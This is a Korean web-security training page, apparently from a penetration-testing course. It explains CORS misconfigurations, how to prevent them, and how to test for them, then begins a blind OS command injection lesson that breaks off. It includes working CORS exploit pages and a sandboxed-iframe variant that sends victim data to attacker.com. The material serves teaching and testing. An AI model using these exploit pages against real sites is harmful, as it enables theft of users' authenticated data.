새로운 펜테스트짐 훈련
취약한 CORS 구성
이 훈련에서는 취약한 CORS 구성에 대해 알아보고 취약한 CORS 구성을 활용한 공격과 이를 예방하는 방법에 대해 학습합니다. 또한 취약한 CORS 구성의 일반적인 사례가 구현된 실습 환경을 통해 취약점을 탐지하고 테스트하는 방법을 직접 연습하고 익힐 수 있습니다.CORS란?CORS(Cross-site Origin Sharing, 교차 출처 리소스 공유)는 특정 웹 애플리케이션의 리소스를 다른 출처(Origin)에서 요청하고 접근할 수 있도록 하는 웹 브라우저의 기술입니다. 여기에서 말하는 출처란 일반적인 URL 체계에서 프로토콜(http://, https://와 같은), 도메인, 포트번호까지를 말하며, CORS에 의해 http://aaa.com이라는 웹 사이트에서 http://bbb.com의 리소스에 요청하고 대응되는 응답 내용에 접근할 수 있게 됩니다. 왜 CORS를 사용할까? 아마 여러분께서 훈련을 차례대로 학습하셨다면 웹 브라우저의 보안 메카니즘인 SOP(Same Origin Policy, 동일 출처 정책)에 대해 들어보셨을 겁니다. SOP는 출처가 서로 다른 웹 사이트간의 리소스 공유를 원천적으로 차단하고 리소스가 호스팅되는 출처 내에서만 접근이 가능하도록 보호하는 역할을 합니다. 하지만 개발자는 때때로 저마다의 이유로 인해 SOP를 완화하고 다른 출처의 리소스에 접근해야 할 상황에 직면하는 경우가 많습니다. 사실 요즘 대부분의 웹은 다른 출처의 리소스를 사용하죠. 대표적인 예로 API 서버를 생각해볼 수 있습니다. 어떤 웹 사이트(주소는 http://example.com 이라 합시다.)는 필요 시 별도로 구성된 API서버(주소는 http://api.example.com이라 가정합니다.)에 자바스크립트를 통한 XMLHttpRequest 요청을 보내어 JSON 데이터를 추출해오거나 어떤 기능을 수행하기도 합니다. 이를 위해서는 http://example.com 웹 사이트에서 시작된 요청이 웹 브라우저의 SOP 적용을 받지 않고 출처가 다른 http://api.example.com의 리소스에 접근할 수 있어야 합니다. 이것을 가능하게 해주는 것이 바로 CORS입니다. CORS가 등장하기 이전에는 JSONP 등의 방법을 이용하여 SOP를 우회해야 했고 이러한 작업으로 인해 또 다른 보안 문제가 발생하기도 했습니다. 따라서 보다 안전한 방법으로 SOP를 완화하고 필요에 따라 출처가 다른 웹 사이트의 리소스 접근을 허용할 수 있도록 해주는 CORS가 등장했습니다. 더 읽어보세요.웹 클라이언트측 기술 - SOPCORS는 어떻게 동작할까?CORS의 원리는 생각보다 단순합니다. CORS는 일반적인 HTTP 요청과 응답에 특수한 요청헤더와 응답헤더를 추가함으로써 동작하게 됩니다. 추가되는 특수한 헤더는 훈련 중에 아래에 링크된 "웹 클라이언트측 기술" 훈련을 살펴보시길 바랍니다. 더 읽어보세요.웹 클라이언트측 기술 - CORS단순 요청(Simple Request)위에서 제시했던 http://example.com 에서 http://api.example.com/some-data 으로 Ajax GET 요청을 통해 데이터를 받아오는 상황을 예로 들어보겠습니다. 이 때 http://example.com 은 자기 자신의 도메인 값을 가진 Origin 헤더를 추가하여 요청을 보냅니다. GET /some-data HTTP/1.1Host: api.example.comOrigin: http://example.com...생략...위의 요청을 받은 API서버(http://api.example.com)는 다음과 같이 응답에 Access-Control-Allow-Origin 헤더(이하 ACAO 헤더)를 추가하여 응답합니다.HTTP/1.1 200 OKAccess-Control-Allow-Origin: http://example.com...생략...추가된 Access-Control-Allow-Origin: http://example.com 의 의미는 요청된 리소스를 http://example.com 에게 접근 허용한다는 의미입니다. 간단하죠? 이런 CORS 동작 방식을 일컬어 Simple Request(단순 요청)이라고 부릅니다.CORS 단순요청 동작 메카니즘만약 API 서버에서 제공되는 데이터가 누구나 접근 가능한 공개 데이터라면 데이터를 제공하는 서버측에서는 ACAO 헤더의 값을 다음과 같이 특정 출처가 아닌 모든 출처를 의미하는 와일드카드(*)를 사용하기도 하죠. 이런 경우 출처가 다른 모든 웹 사이트에서 해당 데이터를 읽을 수 있게 됩니다.HTTP/1.1 200 OKAccess-Control-Allow-Origin: *...생략...보시다시피 정말 단순합니다. 사실 위에서 살펴본 단순 요청은 특정 조건들이 만족되는 일부 상황에서만 사용되는 방식입니다. 특정 조건이란 다음과 같습니다.HTTP 메소드가 GET, POST, HEAD 중 하나여야 함 유저에이전트(웹 브라우저)에 의해 자동으로 설정되는 헤더만 사용해야 함: Connection, User-Agent 등 -> 즉, 사용자가 정의한 커스텀 헤더가 없어야 함수동으로 설정 가능한 헤더 중 다음의 헤더만 사용해야 함: Accept, Accept-Language, Content-Language, Content-Type (단, Content-Type 헤더는 값이 application/x-www-form-urlencoded, multipart/form-data, text/plain 인 경우에만 해당됨)만족되어야 할 조건에 대해서 자세한 내용을 보시려면 아래 MDN 문서를 확인해보세요. 더 읽어보세요.MDN Web Docs "교차 출처 리소스 공유 - 단순 요청"하지만 시간이 점차 지남에 따라 GET, POST, HEAD 메소드 외에 PUT, DELETE 등의 메소드를 사용하게 되었고 오래된 서버들은 PUT, DELETE와 같은 메소드를 사용하는 요청이 브라우저에서 오는 정상 요청이 아니라고 판단하는 문제가 생겨났습니다. 이 상황을 해결하기 위해 CORS는 프리플라이트 요청 방식(Preflighted Request)이라는 것을 사용하게 됩니다. 프리플라이트 요청(Preflighted Request)프리플라이트 요청 방식은 말 그대로 메인 요청에 앞서 프리플라이트 요청이라는 것을 보내서 클라이언트와 서버간 협의과정을 거치게 됩니다. 단지 단순 요청보다 수행되는 단계가 하나 더 있을 뿐입니다. 즉 프리플라이트 요청 방식은 프리플라이트 요청과 메인 요청 두 단계로 구분해볼 수 있습니다.첫번 째 단계인 프리플라이트 요청은 클라이언트가 OPTIONS 헤더를 이용해 메인 요청에 사용될 HTTP 메소드의 종류와 커스텀 헤더 이름을 보내고 서버는 이에 대한 허용 여부를 클라이언트에게 알려주게 됩니다.다시 API서버(http://api.example.com)를 예로 들어 살펴봅시다. http://example.com 웹 사이트는 아래와 같은 요청을 API서버에 먼저 보내봅니다.OPTIONS /some-data HTTP/1.1Host:api.example.comOrigin: http://example.comAccess-Control-Request-Method: POSTAccess-Control-Request-Headers: X-Custom-Header...생략...위 요청은 크로스 도메인 리소스 요청에 사용할 메소드는 POST이고, X-Custom-Header 라는 헤더를 사용할 것임을 서버에 알려줍니다. 이에 서버는 다음과 같은 응답을 보내서 POST 메소드와 X-Custom-Header를 요청에 사용할 수 있음을 알려주게 되는 것이죠. HTTP/1.1 200 OKAccess-Control-Allow-Origin: http://example.comAccess-Control-Allow-Method: POSTAccess-Control-Allow-Headers: X-Custom-Header...생략...위와 같이 클라이언트와 서버간 프리플라이트 요청을 통해 협의를 이후에 진행되는 메인 요청은 단순 요청 방식과 동일합니다. CORS 프리플라이트 요청 동작 메카니즘자격증명이 있는 CORS 요청 (Credentialed Request)웹 브라우저는 HTTP 요청에 쿠키를 포함시켜 전송합니다. 하지만 보안상의 이유로 자바스크립트내에서 XMLHttpRequest를 통한 Cross-Origin 요청은 기본적으로 쿠키를 포함시키지 않는데요. XMLHttpRequest로 출처가 다른 웹사이트에 자격증명이 포함된 요청을 전송하려면 다음과 같이 withCredentials를 true로 설정해줘야 합니다.const xhr = new XMLHttpRequest();const url = 'http://api.example.com/some-data';...function sendRequest() { xhr.open('GET', url, true); xhr.withCredentials = true; ...생략... xhr.send();}위에서 작성된 자격증명이 포함된 Cross-Origin 요청에 대해 서버는 다음과 같이 True값을 갖는 Access-Control-Allow-Credentials 헤더(ACAC 헤더)를 응답에 추가하여 리소스 접근을 허용할 수 있습니다. HTTP/1.1 200 OKAccess-Control-Allow-Origin: http://example.comAccess-Control-Allow-Credentials: True...생략...만일 Access-Control-Allow-Credentials: True 가 없다면 웹 브라우저는 응답의 내용을 표시하지 않게 됩니다.위의 요청과 응답은 GET 메소드를 사용하는 등 단순 요청의 조건을 충족하므로 프리플라이트 요청 단계없이 아래와 같이 동작하게 됩니다. CORS 자격증명이 있는 요청 동작 메커니즘주의해야 할 점은 만일 서버가 ACAO 헤더에 와일드카드를 써서 응답하는 경우에는 withCredentials를 true로 설정하였다 해도 웹 브라우저에 의해 쿠키 전송은 차단됩니다. 자격증명 전송을 허용해야 한다면((즉, ACAC 헤더를 True로 설정해야 한다면) ACAO 헤더에 와일드카드(*)를 사용할 수 없고 특정 출처를 명시해줘야 합니다. ACAO 헤더가 와일드카드이므로 쿠키가 전송되지 않음Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: TrueACAO 헤더에 특정 출처를 명시하고 ACAC가 true이므로 쿠키가 정상적으로 전송됨Access-Control-Allow-Origin: https://www.example.comAccess-Control-Allow-Credentials: true취약한 CORS 구성이란? 개발자가 CORS 정책을 잘못 구성할 경우 심각한 보안 위협이 될 수 있습니다. 다음은 취약한 CORS 구성의 사례를 보여줍니다.ACAO 헤더에 Origin 요청 헤더의 값을 그대로 사용어떤 웹 사이트들은 Origin 요청 헤더의 값을 Access-Control-Allow-Origin 응답 헤더에 사용하여 Cross-Origin 요청을 허용합니다. 이런 경우는 보통 CORS 정책을 자동화하려는 게으른 개발자에 의해 구현됩니다. 이와 같이 동작하는 웹 사이트는 출처가 다른 모든 웹 사이트에 해당 리소스를 제공하는 꼴이 됩니다. 사실상 CORS 설정을 무용지물로 만드는 것과 다름 없는 것이죠. Origin을 그대로 사용하는 잘못된 사례만일 공격자가 자신의 웹사이트(attacker.com)에서 other-origin.com으로 자격증명이 필요한 Cross-Origin 요청을 하는 악성 코드를 만들어두었다고 합시다. 이 악성코드를 other-origin.com에 인증을 완료한 누군가(피해자)가 실행한다면 아래와 같이 아무런 제약없이 피해자의 민감 정보를 포함한 리소스를 공격자의 웹사이트에서 접근할 수 있게 됩니다.Origin 헤더를 그대로 사용해 공격자 웹 사이트에서 전송된 요청도 허용해버림("나는 관대하다" 이미지 출처: 어반브러시)안전하지 않은 정규표현식으로 Origin 헤더 검증어떤 웹 사이트들은 정규표현식을 사용해 Origin 헤더를 통해 받은 출처가 리소스 접근을 허용하는 출처에 해당되는지 검증합니다. 적절한 정규표현식은 효과적으로 악용을 막을 수 있지만 정규표현식이 안전하지 않다면 우회할 수 있습니다.만일 아래와 같은 정규표현식을 사용하여 Origin 헤더를 검증하는 경우를 봅시다.regexp = "[a-z]+.example.com";이 정규표현식은 얼핏 보면 example.com을 포함한 하위도메인에게만 접근을 허용하는 것 같습니다. 하지만 정규표현식에서 점(.)의 의미는 모든 문자를 뜻합니다. 결국 공격자는 attackerexample.com 도메인을 준비하기만 하면 이 검증 로직은 손쉽게 우회할 수 있습니다.안전하지 못한 검증은 인해 우회될 수 있음비슷한 경우로 Origin 헤더가 유효한 도메인으로 시작되는지 검증하는 경우도 있습니다. 만일 아래와 같은 정규표현식으로 검증한다면 어떨가요?regexp = "example.com.+[a-z]";눈치채셨다시피 위 정규표현식을 사용한 검증 로직은 http://example.com으로 시작되는 모든 출처에 대해 리소스 접근을 허용하게 되고, 공격자는 그저 http://example.com.attacker.com 또는 http://example.comattacker.com 등의 도메인을 준비하여 우회할 수 있습니다. NULL 출처 허용Origin 헤더는 NULL 값을 가질 수 있습니다. RFC6454 Web Origin Concept 문서를 보면 개인정보에 민감한 컨텍스트에서 HTTP 요청을 발행할 때 Origin 헤더를 NULL로 발행해야 한다고 명시하고 있습니다. 7.1 User Agent RequirementsThe user agent may include an Origin header field in any HTTP request. The user agent must not include more than one Origin header field in any HTTP request.Whenever a user agent issues an HTTP request from a "privacy-sensitive" context, the user agent must send the value "null" in the Origin header field.(번역)유저 에이전트는 모든 HTTP 요청에 Origin 헤더 필드를 포함할 수 있습니다. 유저 에이전트는 HTTP 요청에 둘 이상의 Origin 헤더 필드를 포함해서는 안 됩니다.유저 에이전트가 "개인정보에 민감한(privacy-sensitive)" 컨텍스트에서 HTTP 요청을 발행할 때마다 유저 에이전트는 Origin 헤더 필드에 "null" 값을 보내야 합니다.이 문서에서는 개인정보에 민감한 컨텍스트를 명확히 정의하지는 않았지만 알려진 바로는 로컬 환경에서 Cross-Origin 요청이 발생할 때와 Cross-Origin 요청이 또 다른 웹 사이트로 리다이렉트될 때 Origin 헤더를 NULL로 변경한다고 합니다. 이런 이유로 인해 로컬 환경에서 개발하는 개발자들은 가끔 NULL Origin 요청에 대해 리소스 접근을 허용하도록 서버를 설정하곤 합니다. null Origin이 허용된 HTTP 요청/응답 메세지의 예는 다음과 같습니다.요청 (null 값을 갖는 Origin 헤더가 발행됨)GET /sensitive-data HTTP/1.1Host: other-origin.comOrigin: nullCookie: mysessid=some-value...생략...응답 (ACAO 헤더를 통해 null Origin에 대한 접근을 허용함)HTTP/1.1 200 OKAccess-Control-Allow-Origin: nullAccess-Control-Allow-Credentials: True...생략...개발이 끝난 후 허용된 NULL Origin을 제거하지 않고 그대로 방치한 채 호스팅을 한다면 Sandbox 처리된 iframe을 통한 공격에 의해 악용될 수 있습니다. 공격 방법에 관해서는 아래 취약한 CORS 구성 테스트 방법 섹션에서 다루도록 하겠습니다. 공격자가 작성한 악성스크립트를 attacker.com/malpage에서 호스팅하고 피해자가 malpage를 방문했다고 가정할 경우 공격자는 다음과 같은 과정을 통해 피해자의 민감한 데이터를 획득할 수 있습니다.NULL Origin을 허용할 경우 공격자는 피해자의 민감한 데이터 획득이 가능함와일드카드(*) 출처 허용CORS 정책은 자격증명이 포함된 Cross-Origin 요청에 대해서는 ACAO 헤더에 와일드카드(*) 사용을 금지하고 특정 출처를 명시하도록 규정하고 있습니다. 이는 자격증명이 요구되는 개인의 민감한 데이터에 대한 접근을 제한하기 위함입니다. 만일 다음과 같이 자격증명이 포함된 Cross-Origin 요청에 서버가 다음과 같이 응답한다면 웹 브라우저는 알아서 응답에 접근할 수 없도록 차단해버리죠.Access-Control-Allow-Origin: *Access-Control-Allow-Credentials: True아무튼 웹 리소스에 누구에게나 공개된 정보만 포함된 경우에는 와일드카드(*) 출처를 허용하는 것이 위험하지 않은 것으로 간주되지만 경우에 따라 일부 취약한 사례가 있을 수 있습니다.가령 개발자가 HTTP 응답 메세지에 키값이나 패스워드 등의 민감한 정보를 포함하는 웹 리소스에 대해 와일드카드(*)로 허용한 경우가 이에 해당됩니다. 공격자는 별다른 제약없이 민감한 정보를 획득하고 이 정보를 바탕으로 후속 공격을 수행할 수 있을지도 모릅니다. 민감한 정보가 포함된 웹페이지를 와일드카드(*) Origin에 대해 허용할 경우 정보가 유출됨취약한 CORS 구성을 예방 및 완화하려면CORS를 안전하게 구성하려면 다음의 지침을 확인하고 점검해야 합니다.신뢰할 수 있는 도메인 관리 및 안전한 검증웹 리소스에 접근할 수 있는 신뢰할 수 있는 도메인을 관리하고 화이트리스트 방식으로 안전하게 검증하여 요청을 발행한 출처가 신뢰할 수 있는 도메인 목록에 있는 경우에만 ACAO 헤더에 해당 출처를 지정해야 합니다. NULL 출처 허용 금지공격자는 샌드박스 처리된 iframe을 이용해 Origin 헤더에 NULL을 지정해 요청할 수 있으므로 NULL 출처를 리소스 접근 허용 목록에 포함시키지 말아야 합니다.와일드카드(*) 출처 허용 금지민감한 정보가 포함된 웹 리소스에 대해서는 와일드카드(*) 출처를 허용해선 안됩니다. 와일드카드(*)를 사용해 모든 출처에 대해 리소스 접근을 허용해야 할 경우에는 민감한 정보가 포함되어 있는지 철저히 확인하고 제거해야 합니다. 취약한 CORS 구성 테스트 방법Step 1. 민감한 정보를 반환하는 요청 식별웹 브라우저에 ZAP 프록시 또는 Burp Suite 프록시 도구를 설정하고 웹 애플리케이션의 기능을 모두 사용해봅니다. 웹 애플리케이션을 탐색하면서 사용자의 개인 정보나 민감한 정보가 응답에 포함되는 진입점(엔드포인트)을 찾습니다.Step 2. CORS 취약 여부 테스트Step 1에서 식별된 진입점을 이용해 아래와 같이 임의의 출처가 지정된 Origin 헤더를 추가하거나 이미 존재하는 경우 Origin 헤더의 출처를 변경하여 요청해봅니다. 사용할 출처는 본인이 원하는 어떤 출처라도 상관없습니다.Origin: https://attacker.com그리고 요청을 통해 반환되는 응답 메세지에 CORS를 위해 사용되는 응답 헤더가 포함되는지 또는 이미 존재할 경우 ACAO 헤더에 어떤 변화가 있는지 확인합니다. 응답 메세지에 아래와 같은 유형으로 CORS 관련 헤더가 표시된다면 해당 진입점은 잠재적으로 취약하고 악용이 가능할 수 있습니다.유형 1) 반사된 ACAO, True ACACOrigin 요청 헤더를 통해 전송된 출처(https://attacker.com)가 그대로 ACAO 응답 헤더에 반사되어 표시되고 ACAC 헤더에 True가 설정되어 있는 경우입니다. HTTP/1.1 200 OK...생략...Access-Control-Allow-Origin: https://attacker.comAccess-Control-Allow-Credentials: True...생략...이와 같은 형태의 응답은 취약한 CORS 구성을 테스트하면서 만나볼 수 있는 최상의 사례입니다. 만약 서버가 Origin 헤더의 값에 대해 어떠한 검증도 하지 않는다면 테스터는 자신의 웹 사이트에서 호스팅되는 아래와 같은 익스플로잇 페이지를 통해 응답 메세지에 표시된 민감한 데이터를 쉽게 획득할 수도 있습니다. <!DOCTYPE html><html> <head> <script> function cors() { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("demo").innerHTML = this.responseText; } }; xhr.open("GET", "https://vulnerable.com/path_to_get_data", true); //취약한 웹의 진입점으로 변경 xhr.withCredentials = true; xhr.send(); } </script> </head> <body> <center> <h2>CORS Exploit</h2> <h3>Response contents</h3> <div id="demo"> <button type="button" onclick="cors()">Exploit</button> </div> </body></html>유형 2) NULL ACAO, True ACAC다음 응답 메세지와 같이 ACAO 헤더에 null이 허용되고 ACAC 헤더가 True로 설정되어 있는 경우입니다. HTTP/1.1 200 OK...생략...Access-Control-Allow-Origin: nullAccess-Control-Allow-Credentials: True...생략...먼저 살펴본 "반사된 ACAO & True ACAC"와 다른 점은 ACAO 헤더에 허용된 출처가 null이라는 점 뿐입니다. 그렇다면 우리는 취약한 웹 애플리케이션으로 null 출처를 가진 Cross-Origin 요청을 보낼 수 있어야 합니다. 몇 가지 알려진 방법이 있지만 Sandbox 처리된 iframe을 통해 가능합니다. 아래와 같은 익스플로잇 페이지를 작성합니다. 좀 복잡해보일 수도 있지만 단순합니다. "반사된 ACAO & True ACAC"에서 사용했던 익스플로잇 페이지를 Sandbox 처리된 iframe 태그의 src로 사용하였을 뿐입니다. <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script> function cors() { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById('demo').innerText = this.responseText; } }; xhr.open('get','https://vulnerable.com/path_to_get_data',true); //취약한 웹의 진입점으로 변경 xhr.withCredentials = true; xhr.send(); };</script><center><h2>CORS Exploit</h2><button type='button' onclick='cors()'>Exploit</button><hr><h3>Response</h3></center><div id='demo'></div>" width="100%" height="50%" style="background-color:#e1caca;"></iframe>Exploit 버튼을 클릭하면 iframe 내부에 취약한 웹 애플리케이션에서 가져온 응답 메세지가 표시되게 됩니다.악의적인 공격자가 실제 공격에 사용될 때에는 아래와 같이 공격자의 웹 서버(attacker.com)로 응답 메세지를 전송하는 코드를 사용할 수 있습니다.<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script> var xhr = new XMLHttpRequest(); xhr.onload = reqListener; xhr.open('get','https://vulnerable.com/path_to_get_data',true); //취약한 웹의 진입점으로 변경 xhr.withCredentials = true; xhr.send(); function reqListener() { location='https://attacker.com/getdata?restxt='+encodeURIComponent(this.responseText); }; </script>"></iframe>실습 문제 풀이아래 내용을 읽기 전에 본 훈련의 가상 실습 환경을 생성하여 먼저 실습해보실 것을 권장드립니다. 제시된 풀이 방법은 수많은 해결법 중 하나일 뿐이며 다양한 방법으로 해결이 가능할 수 있습니다.Exercise 1이 문제는 개발자가 CORS 설정을 자동화했습니다. 하지만 개발자의 실수로 인해 모든 출처에 대해 웹 리소스를 허용하는 실수를 저질렀고 이로 인해 사용자의 프로필 정보가 악의적인 사용자에게 유출될 수 있습니다.풀이 보기 1. 웹 브라우저가 ZAP 프록시나 Burp Suite 프록시를 통과하도록 설정한 후 Exercise 1(cors_misconfig_ex1.php)을 방문합니다.2. 사용하는 프록시 도구에서 cors_misconfig_ex1.php 진입점을 찾아 ZAP 프록시의 Requester 또는 Request Editor로 (Burp Suite의 경우 Burp Repeater) 요청을 보냅니다.3. 요청 메세지에 임의의 Origin 헤더를 추가하여 전송합니다.Origin: https://foo.bar4. 전송된 임의의 출처(https://foo.bar)가 응답 메세지에 Access-Control-Allow-Origin 헤더에 표시되고 Access-Control-Allow-Credentials 헤더가 true로 표시되는지 확인합니다. Access-Control-Allow-Origin: https://foo.barAccess-Control-Allow-Credentials: true5. 자신이 관리하는 웹 서버에서 아래와 같은 익스플로잇 페이지를 작성하고 호스팅합니다.<!DOCTYPE html><html> <head> <script> function cors() { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("demo").innerText = this.responseText; } }; xhr.open("GET", "https://본인의 가상실습환경 주소/cors_misconfig_ex1.php", true); xhr.withCredentials = true; xhr.send(); } </script> </head> <body> <center> <h2>CORS Exploit</h2> <button type="button" onclick="cors()">Exploit</button> <hr> <h3>Response</h3> </center> <div id="demo"> </div> </body></html>6. 실습 환경에 로그인되어 있는 웹 브라우저 환경에서 익스플로잇 페이지를 방문하고 "Exploit" 버튼을 클릭합니다.7. 익스플로잇 페이지의 하단 Response 부분에 Spike Spigel의 프로필 정보가 포함된 HTML 소스코드가 표시되면 성공입니다.Exercise 2이 문제는 하위도메인의 Cross-Origin 요청만을 허용하고 그 외 다른 출처는 차단하기 위해 정규표현식을 통해 출처를 검증하도록 구현되었니다. 하지만 개발자의 부주의로 안전하지 않은 정규표현식이 사용되었고 결국 사용자 프로필 정보의 유출로 이어집니다.풀이 보기 1. 웹 브라우저가 ZAP 프록시나 Burp Suite 프록시를 통과하도록 설정한 후 Exercise 2(cors_misconfig_ex2.ph)를 방문합니다.2. 사용하는 프록시 도구에서 cors_misconfig_ex2.php 진입점을 찾아 ZAP 프록시의 Requester 또는 Request Editor로 (Burp Suite의 경우 Burp Repeater) 요청을 보냅니다.3. 요청 메세지에 임의의 Origin 헤더를 추가하여 전송합니다.Origin: https://foo.bar4. 전송된 임의의 출처(https://foo.bar)는 개발자의 출처 검증 로직에 의해 차단되어 "No CORS attack~~~" 메세지가 나타나고 응답 메세지에 Access-Control-Allow-Origin 헤더와 Access-Control-Allow-Credentials 헤더는 표시되지 않습니다. 이런 동작은 개발자에 의해 출처 검증 로직이 구현되어 있음을 추측할 수 있습니다.5. 하위 도메인에 대한 Cross-Origin 요청이 허용 되어있을 수 있으므로 아래와 같이 실습 환경과 동일한 도메인 이름이 포함된 임의의 출처를 보내고 대응되는 응답 메세지에서 Access-Control-Allow-Origin 헤더와 Access-Control-Allow-Credentials 헤더가 표시되는지 확인합니다. ACAO 헤더에 Origin 헤더의 출처가 표시되는 것으로 보아 pentestgym.com으로 끝나는 출처는 CORS가 허용됨을 알 수 있습니다. 요청Origin: https://foobarpentestgym.com 응답Access-Control-Allow-Origin: https://foobarpentestgym.comAccess-Control-Allow-Credentials: true6. pentestgym.com으로 끝나는 임의의 도메인명을 준비합니다. 훈련을 위해 도메인을 구입할 수 없으니 사용 중인 운영체제의 hosts 파일을 변경하여 Localhost에 도메인을 지정함으로써 진행할 수 있습니다. hosts 파일을 열어 다음과 같이 수정하고 저장합니다. 127.0.0.1 aaapentestgym.com127.0.0.1 localhost...생략...7. 이제 자신이 로컬 웹 서버에서 아래와 같은 익스플로잇 페이지를 작성하고 호스팅합니다.<!DOCTYPE html><html> <head> <script> function cors() { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("demo").innerText = this.responseText; } }; xhr.open("GET", "https://본인의 가상실습환경 주소/cors_misconfig_ex2.php", true); xhr.withCredentials = true; xhr.send(); } </script> </head> <body> <center> <h2>CORS Exploit</h2> <button type="button" onclick="cors()">Exploit</button> <hr> <h3>Response</h3> </center> <div id="demo"> </div> </body></html>6. 실습 환경에 로그인되어 있는 웹 브라우저 환경에서 익스플로잇 페이지를 방문하고 "Exploit" 버튼을 클릭합니다.7. 익스플로잇 페이지의 하단 Response 부분에 Spike Spigel의 프로필 정보가 포함된 HTML 소스코드가 표시되면 성공입니다.Exercise 3이 문제는 개발자가 편의상 허용해두었던 null 출처를 신뢰하는 출처 리스트에서 제거하는 것을 잊어버렸습니다. 악의적인 공격자가 Origin 헤더의 값을 null로 변환시키고 민감한 정보를 획득하는 것은 크게 어려운 일이 아닙니다.풀이 보기 1. 웹 브라우저가 ZAP 프록시나 Burp Suite 프록시를 통과하도록 설정한 후 Exercise 3(cors_misconfig_ex3.php)을 방문합니다.2. 사용하는 프록시 도구에서 cors_misconfig_ex3.php 진입점을 찾아 ZAP 프록시의 Requester 또는 Request Editor로 (Burp Suite의 경우 Burp Repeater) 요청을 보냅니다.3. 요청 메세지에 임의의 Origin 헤더를 추가하여 전송 해봅니다. Origin: https://foo.bar4. 응답 메세지에 Access-Control-Allow-Origin 헤더가 null로 표시되고 Access-Control-Allow-Credentials 헤더가 true로 표시되는지 확인합니다. Access-Control-Allow-Origin: nullAccess-Control-Allow-Credentials: true5. 자신이 관리하는 웹 서버에서 아래와 같은 익스플로잇 페이지를 작성하고 자신의 웹 서버에서 호스팅합니다.<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script> function cors() { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById('demo').innerText = this.responseText; } }; xhr.open('get','https://본인의 가상실습환경 주소/cors_misconfig_ex3.php',true); xhr.withCredentials = true; xhr.send(); };</script><center><h2>CORS Exploit</h2><button type='button' onclick='cors()'>Exploit</button><hr><h3>Response</h3></center><div id='demo'></div>" width="100%" height="50%" style="background-color:#e1caca;"></iframe>6. 실습 환경에 로그인되어 있는 웹 브라우저 환경에서 익스플로잇 페이지를 방문하고 <iframe> 내부에 있는 "Exploit" 버튼을 클릭합니다.7. 익스플로잇 페이지의 하단 Response 부분에 Spike Spigel의 프로필 정보가 포함된 HTML 소스코드가 표시되면 성공입니다.참고 문헌https://portswigger.net/web-security/corshttps://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/https://developer.mozilla.org/ko/docs/Web/HTTP/CORShttps://blog.jscrambler.com/understanding-cors-cross-origin-resource-sharinghttps://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/07-Testing_Cross_Origin_Resource_Sharinghttps://www.trustedsec.com/blog/cors-findings/
읽어보기
Blind OS 명령 인젝션
이 훈련에서는 Blind OS 명령 인젝션에 사용될 수 있는 몇 가지 기술을 소개하고 각 기술을 활용해 Blind OS 명령 인젝션 취약점을 테스트하는 방법에 대해 학습할 수 있습니다. 또한 제공되는 실습 환경을 통해 학습한 기법을 직접 연습해 볼 수 있습니다. Blind OS 명령 인젝션이란?Blind OS 명령 인젝션은 사용자 입력 데이터가 웹 서버의 시스템 셸로 전달되어 실행되지만 기본적인 명령 인젝션과는 달리 명령의 실행 결과가 HTTP 응답 메세지에 출력되지 않는 경우에 사용할 수 있는 OS 명령 인젝션의 일종입니다. 기본적인 OS 명령 인젝션에 대해 학습하시려면 아래의 훈련을 읽어보세요. 더 읽어보세요.OS 명령 인젝션이러한 Blind 환경에서는 HTTP 응답 메세지에 직접적으로 출력되는 어떠한 정보도 없으므로 기본적인 OS 명령 인젝션 기술을 사용해서는 주입된 명령이 성공적으로 실행되었는지 판단할 수 없습니다. 따라서 명령의 성공적인 실행 여부를 판단하기 위해 아래에서 소개되는 특별한 기법이 사용됩니다. Blind OS 명령 인젝션을 위한 기술들Blind 명령 인젝션은 주입된 명령의 실행 결과를 육안으로 확인할 수 없는 특징으로 인해 '시간 지연', '출력 리다이렉팅' 또는 '대역 외(Out-Of-Band, OOB) 채널'과 같은 기술이 주로 사용됩니다. 시간 지연SLEEP 또는 PING과 같은 명령을 사용하여 의도적으로 HTTP 응답 시간을 지연시키는 방법입니다. HTTP 응답 시간이 공격자 또는 테스터가 지정한 시간만큼 지연된다면 주입된 임의의 명령이 정상적으로 실행되었다고 판단할 수 있습니다. 출력 리다이렉팅명령의 실행 결과를 웹루트 또는 그 하위의 경로에 파일로 생성(리다이렉팅)하고 해당 파일의 URL을 통해 파일을 조회하여 주입된 임의의 명령이 실행되었는지 판단할 수 있는 기술입니다. 단, 웹 서버를 구동하는 계정에 리다이렉팅할 디렉토리에 대한 읽기와 쓰기 권한이 있어야 합니다.대역 외(Out-Of-Band) 채널대역 외(Out-Of-Band, OOB) 채널을 이용한 기술은 취약한 서버를 공격자 또는 테스터가 제어할 수 있는 외부의 서버와 통신을 하도록 유도하고 통신 기록을 확인함으로써 주입된 임의의 명령이 실행되었는지 확인할 수 있는 기술입니다.Blind OS 명령 인젝션 테스트 방법Blind OS 명령 인젝션을 테스트하는 방법은 기본 OS 명령 인젝션을 테스트하는 방법과 거의 유사합니다. 하지만 말씀드렸다시피 Blind OS 명령 인젝션은 공격자 또는 테스터에게 명령 실행 결과가 직접적으로 제공되지 않으므로 기본 OS 명령 인젝션과는 다른 형태의 테스트 문자열을 사용해야 합니다. 앞서 소개해드린 Blind OS 명령 인젝션의 유형별 테스트 방법에 대해 차례로 살펴봅시다.시간 지연시간 지연 기법으로는 SLEEP 명령(리눅스/유닉스만 해당) 또는 루프백(Loopback) PING을 사용할 수 있습니다. SLEEP 명령이나 PING 명령을 통해 웹 애플리케이션의 응답 시간을 원하는 시간만큼 의도적으로 지연시킬 수 있습니다. 시간 지연 기법을 사용할 때는 서버의 과부하 또는 네트워크 트래픽 과다로 인한 성능 저하, 속도 저하 등 명령 인젝션과 상관없는 다양한 원인으로 HTTP 응답이 지연될 수 있으므로 반복적으로 여러 번에 